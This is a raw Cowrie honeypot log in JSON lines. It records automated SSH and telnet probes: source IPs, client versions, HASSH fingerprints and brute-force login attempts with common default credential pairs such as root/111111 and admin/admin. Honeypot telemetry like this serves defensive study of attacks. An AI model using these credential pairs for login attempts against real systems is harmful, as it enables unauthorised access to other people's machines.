{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:45.991902Z","src_ip":"92.113.145.209","session":"f0875e34594f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Test","password":"Test123","message":"login attempt [Test/Test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:46.457218Z","src_ip":"92.113.145.209","session":"f0875e34594f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:46.825997Z","src_ip":"165.154.137.186","session":"d5de117464c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:47.568402Z","src_ip":"92.113.145.209","session":"f0875e34594f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49458,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffbbbc271d39","protocol":"telnet","message":"New connection: 128.199.8.54:49458 (159.203.135.109:23) [session: ffbbbc271d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:18:57.732455Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40468,"dst_ip":"10.17.0.5","dst_port":22,"session":"202d1711a4ca","protocol":"ssh","message":"New connection: 165.154.137.186:40468 (10.17.0.5:22) [session: 202d1711a4ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:00.847015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:00.854757Z","src_ip":"165.154.137.186","session":"202d1711a4ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:01.112459Z","src_ip":"165.154.137.186","session":"202d1711a4ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:01.881266Z","src_ip":"165.154.137.186","session":"202d1711a4ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:03.141332Z","src_ip":"165.154.137.186","session":"202d1711a4ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.68.30","src_port":14154,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7c664cc6adf","protocol":"ssh","message":"New connection: 35.233.68.30:14154 (10.17.0.5:22) [session: f7c664cc6adf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:13.693652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Fingerprintx-SSH2","message":"Remote SSH version: SSH-2.0-Fingerprintx-SSH2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:13.772886Z","src_ip":"35.233.68.30","session":"f7c664cc6adf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.68.30","src_port":14158,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cd135cbba0f","protocol":"ssh","message":"New connection: 35.233.68.30:14158 (10.17.0.5:22) [session: 7cd135cbba0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:13.943153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:13.948540Z","src_ip":"35.233.68.30","session":"7cd135cbba0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dde267e50f82fcc16a7e1e7b59b8af71","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256@libssh.org,curve25519-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256@libssh.org","curve25519-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: dde267e50f82fcc16a7e1e7b59b8af71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:14.032221Z","src_ip":"35.233.68.30","session":"7cd135cbba0f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:15.493452Z","src_ip":"35.233.68.30","session":"7cd135cbba0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:15.573547Z","src_ip":"35.233.68.30","session":"f7c664cc6adf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:15.580932Z","src_ip":"35.233.68.30","session":"7cd135cbba0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:17.551135Z","src_ip":"35.233.68.30","session":"f7c664cc6adf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36844,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb054ed5f0ed","protocol":"ssh","message":"New connection: 165.154.137.186:36844 (10.17.0.5:22) [session: eb054ed5f0ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:23.639825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:23.644341Z","src_ip":"165.154.137.186","session":"eb054ed5f0ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:23.930222Z","src_ip":"165.154.137.186","session":"eb054ed5f0ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:24.703668Z","src_ip":"165.154.137.186","session":"eb054ed5f0ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:25.962810Z","src_ip":"165.154.137.186","session":"eb054ed5f0ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":45566,"dst_ip":"159.203.135.109","dst_port":22,"session":"9322b015aeb7","protocol":"ssh","message":"New connection: 80.66.85.226:45566 (159.203.135.109:22) [session: 9322b015aeb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:33.666775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:33.670735Z","src_ip":"80.66.85.226","session":"9322b015aeb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:33.763297Z","src_ip":"80.66.85.226","session":"9322b015aeb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19733791","message":"login attempt [root/19733791] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:34.042706Z","src_ip":"80.66.85.226","session":"9322b015aeb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:35.137356Z","src_ip":"80.66.85.226","session":"9322b015aeb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.26434516906738,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:39.996691Z","src_ip":"128.199.8.54","session":"ffbbbc271d39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":34136,"dst_ip":"159.203.135.109","dst_port":22,"session":"44b233ea7f8a","protocol":"ssh","message":"New connection: 101.47.159.125:34136 (159.203.135.109:22) [session: 44b233ea7f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:40.959133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:40.964319Z","src_ip":"101.47.159.125","session":"44b233ea7f8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:41.204623Z","src_ip":"101.47.159.125","session":"44b233ea7f8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"12345678","message":"login attempt [sysadmin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:42.196752Z","src_ip":"101.47.159.125","session":"44b233ea7f8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:43.439683Z","src_ip":"101.47.159.125","session":"44b233ea7f8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.25.236","src_port":54984,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5546740f404","protocol":"telnet","message":"New connection: 23.249.25.236:54984 (159.203.135.109:23) [session: f5546740f404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:49.193253Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":59892,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a61a893181f","protocol":"ssh","message":"New connection: 165.154.137.186:59892 (10.17.0.5:22) [session: 8a61a893181f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:56.140305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:56.150044Z","src_ip":"165.154.137.186","session":"8a61a893181f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:56.406806Z","src_ip":"165.154.137.186","session":"8a61a893181f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:57.184737Z","src_ip":"165.154.137.186","session":"8a61a893181f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:19:58.442903Z","src_ip":"165.154.137.186","session":"8a61a893181f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.199.55.128","src_port":62172,"dst_ip":"10.17.0.5","dst_port":22,"session":"e75a7a19d029","protocol":"ssh","message":"New connection: 104.199.55.128:62172 (10.17.0.5:22) [session: e75a7a19d029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:01.157185Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:01.240496Z","src_ip":"104.199.55.128","session":"e75a7a19d029","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":51584,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac9a26d78de7","protocol":"ssh","message":"New connection: 165.154.137.186:51584 (10.17.0.5:22) [session: ac9a26d78de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:04.854599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:04.858749Z","src_ip":"165.154.137.186","session":"ac9a26d78de7","protocol":"ssh"}
